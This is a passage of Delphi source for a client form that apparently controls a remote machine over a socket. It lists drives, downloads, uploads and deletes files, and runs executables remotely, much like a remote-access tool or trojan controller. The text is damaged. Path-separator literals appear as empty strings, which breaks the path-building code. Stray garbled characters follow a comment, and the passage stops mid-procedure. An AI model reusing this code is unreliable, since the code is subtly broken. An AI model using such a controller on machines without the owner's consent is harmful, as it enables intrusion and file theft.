  863.   var AllowCollapse: Boolean);
  864. begin
  865.  if Node.ImageIndex=OPEN_ICON then
  866.   begin
  867.    Node.ImageIndex:=CLOSED_ICON;
  868.    Node.SelectedIndex:=CLOSED_ICON;
  869.   end;
  870. end;
  872. procedure TClientForm.sbFileManagerClick(Sender: TObject);
  873. begin
  874.  if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('getbaselist');
  875. end;
  877.  procedure TClientForm.tvAppDblClick(Sender: TObject);
  878.    var Start : TTreeNode;
  879.        Path : string;
  880.   begin
  881.    if (diskmode) then
  882.     begin
  883.      if (tvApp.Selected.Data=nil) and
  884.      (tvApp.Selected.ImageIndex in
  885.       [CLOSED_ICON, OPEN_ICON, HDD_ICON,
  886.        CDROM_ICON]) then
  887.         begin
  888.          FolderNode:=tvApp.Selected;
  889.          Start:=tvApp.Selected;
  890.          tvApp.Selected.Data:=@loading;
  891.          Path:=Start.Text+'';
  892.          if Start.Level>0 then
  893.           repeat
  894.            Start:=Start.Parent;
  895.            Path:=Start.Text+''+Path;
  896.           until Start.Level=0;
  897.          if ClientSocket.Active then
  898.           ClientSocket.Socket.SendText  ('diskget'+Path);
  899.         end;
  900.      if (tvApp.Selected.ImageIndex in
  901.       [BMP_FILE, WAV_FILE, EXE_FILE]) then
  902.       begin
  903.        Start:=tvApp.Selected;
  904.        Path:=TrimPRT (Start.Text);
  905.        if Start.Level>0 then
  906.         repeat
  907.          Start:=Start.Parent;
  908.          Path:=Start.Text+''+Path;
  909.         until Start.Level=0;
  910.        case tvApp.Selected.ImageIndex of
  911.         BMP_FILE : Path:='{P}'+Path;
  912.         WAV_FILE : Path:='{S}'+Path;
  913.         EXE_FILE : Path:='{U}'+Path;
  914.        end;
  915.        if not(loading) then clientsocket.socket.SendText (Path);
  916.       end;
  917.     end;
  918.   end;
  920. procedure TClientForm.tvAppMouseDown(Sender: TObject; Button: TMouseButton;
  921.   Shift: TShiftState; X, Y: Integer);
  922.   var CP : TPoint;
  923. begin
  924.  if (Button=mbRight) and (diskmode) then
  925.   begin
  926.    GetCursorPos (CP);
  927.    pmFile.Popup (CP.X, CP.Y);
  928.   end;
  929. end;
  931.  procedure TClientForm.pmFilePopup(Sender: TObject);
  932.   begin
  933.    mnuDownload.Enabled:=(tvApp.Selected.ImageIndex in
  934.     [BMP_FILE, WAV_FILE, EXE_FILE, USUAL_FILE]);
  935.    mnuDelete.Enabled:=mnuDownload.Enabled;
  936.    mnuDelim.Visible:=false;
  937.    mnuRun.Visible:=false;
  938.    if (tvApp.Selected.ImageIndex in
  939.     [BMP_FILE, WAV_FILE, EXE_FILE]) then
  940.      begin
  941.       mnuDelim.Visible:=true;
  942.       mnuRun.Visible:=true;
  943.       mnuRun.Default:=true;
  944.       mnuRun.ImageIndex:=tvApp.Selected.ImageIndex;
  945.       case tvApp.Selected.ImageIndex of
  946.        BMP_FILE : mnuRun.Caption:='Show';
  947.        WAV_FILE : mnuRun.Caption:='Play';
  948.        EXE_FILE : mnuRun.Caption:='Run';
  949.       end;
  950.      end;
  951.    mnuDelete.Enabled:=not (tvApp.Selected.ImageIndex in [HDD_ICON, CDROM_ICON]);
  952.   end;
  954.  procedure TClientForm.mnuDeleteClick(Sender: TObject);
  955.    var Start, TrueChild : TTreeNode;
  956.        Path : string;
  957.   begin
  958.    Start:=tvApp.Selected;
  959.    TrueChild:=tvApp.Selected;
  960.    Path:=TrimPRT (Start.Text);
  961.    if Start.Level>0 then
  962.     repeat
  963.      Start:=Start.Parent;
  964.      Path:=Start.Text+''+Path;
  965.     until Start.Level=0;
  967.    if MessageDlg ('Really delete '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)=
  968.     mrYes then
  969.     if ClientSocket.Active then
  970.      ClientSocket.Socket.SendText ('delfile'+Path);
  971.    DeleteAnswer:=false;
  972.    FileDestroyed:=false;
  973.    repeat
  974.     Application.ProcessMessages;
  975.    until DeleteAnswer;
  976.    if FileDestroyed then
  977.     TrueChild.Delete;
  978.   end;
  980. procedure TClientForm.mnuRunClick(Sender: TObject);
  981. begin
  982.  tvAppDblClick (Sender);
  983. end;
  985. procedure TClientForm.mnuDownloadClick(Sender: TObject);
  986.    var Start : TTreeNode;
  987.        Path : string;
  988.   begin
  989.    Start:=tvApp.Selected;
  990.    Path:=TrimPRT (Start.Text);
  991.    if Start.Level>0 then
  992.     repeat
  993.      Start:=Start.Parent;
  994.      Path:=Start.Text+''+Path;
  995.     until Start.Level=0;
  996.    if MessageDlg ('Download '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)=
  997.     mrYes then
  998.     if ClientSocket.Active then
  999.      ClientSocket.Socket.SendText ('getfile'+Path);
  1000.   end;
  1002.  procedure TClientForm.mnuUploadClick(Sender: TObject);
  1003.    var Fl : FILE;
  1004.        Query : string;
  1005.        i, BSent : integer;
  1006.        Folder : TTreeNode;
  1007.        RemotePath : string;
  1008.   begin
  1009.    if od1.Execute then
  1010.     begin
  1011.      Folder:=tvApp.Selected;
  1012.      if Folder.ImageIndex in
  1013.       [EXE_FILE, BMP_FILE, WAV_FILE, USUAL_FILE] then
  1014.        Folder:=Folder.Parent;
  1015.      FolderNode:=Folder;
  1016.      RemotePath:=Folder.Text+'';
  1017.      if Folder.Level>0 then
  1018.       repeat
  1019.        Folder:=Folder.Parent;
  1020.        RemotePath:=Folder.Text+''+RemotePath;
  1021.       until Folder.Level=0;
  1022.      FName:=od1.FileName;
  1023.      AssignFile (Fl, FName);
  1024.      {$I-}
  1025.      ReSet (Fl, 1);
  1026.      {$I+}
  1027.      if IOResult<>0 then
  1028.       begin
  1029.        MessageDlg ('Error accessing file.', mtError, [mbOK], 0);
  1030.        exit;
  1031.       end;
  1032.      FSize:=FileSize(Fl);
  1033.      Query:='';
  1034.      for i:=Length(FName) downto 1 do
  1035.       if FName[i]='' then break else Query:=FName[i]+Query;
  1036.      Query:=Query+':::'+inttostr(FSize);
  1037.      if ClientSocket.Active then
  1038.       begin
  1039.        ClientSocket.Socket.SendText ('takefile'+RemotePath+Query+WrapStr);
  1040.        Sleep (1000); // !!!!DON'T REMOVE THIS COMMENT!!!!              - 黩